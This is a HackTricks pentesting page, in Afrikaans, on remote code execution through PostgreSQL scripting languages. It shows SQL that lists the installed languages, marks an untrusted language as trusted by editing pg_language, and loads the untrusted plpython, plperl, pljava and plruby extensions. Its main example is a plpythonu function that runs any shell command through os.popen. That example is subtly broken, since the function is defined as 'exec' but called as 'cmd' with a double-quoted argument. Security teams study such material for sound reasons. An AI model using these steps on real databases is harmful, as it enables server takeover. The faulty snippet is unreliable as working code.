RCE met PostgreSQL Tale

Reading time: 6 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

PostgreSQL Tale

Die PostgreSQL-databasis waartoe jy toegang het, mag verskillende skripting tale geïnstalleer hê wat jy kan misbruik om arbitraire kode uit te voer.

Jy kan hulle aan die gang kry:

sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Die meeste van die skripting tale wat jy in PostgreSQL kan installeer het 2 variasies: die vertroude en die onvertroude. Die onvertroude sal 'n naam hê wat eindig op "u" en sal die weergawe wees wat jou toelaat om kode uit te voer en ander interessante funksies te gebruik. Dit is tale wat, indien geïnstalleer, interessant is:

  • plpythonu
  • plpython3u
  • plperlu
  • pljavaU
  • plrubyu
  • ... (enige ander programmeertaal wat 'n onveilige weergawe gebruik)

warning

As jy vind dat 'n interessante taal geïnstalleer is maar onvertroude deur PostgreSQL (lanpltrusted is false) kan jy probeer om dit te vertrou met die volgende lyn sodat geen beperkings deur PostgreSQL toegepas sal word nie:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# Om jou regte oor die tabel pg_language te kontroleer
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

caution

As jy nie 'n taal sien nie, kan jy probeer om dit te laai met (jy moet superadmin wees):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Let daarop dat dit moontlik is om die veilige weergawes as "onveilig" te kompileer. Kyk na hierdie byvoorbeeld. Dit is altyd die moeite werd om te probeer of jy kode kan uitvoer selfs al vind jy net die vertroude een geïnstalleer.

plpythonu/plpython3u

sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Kyk na die volgende bladsy:

PL/pgSQL Password Bruteforce

C

Kyk na die volgende bladsy:

RCE with PostgreSQL Extensions

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks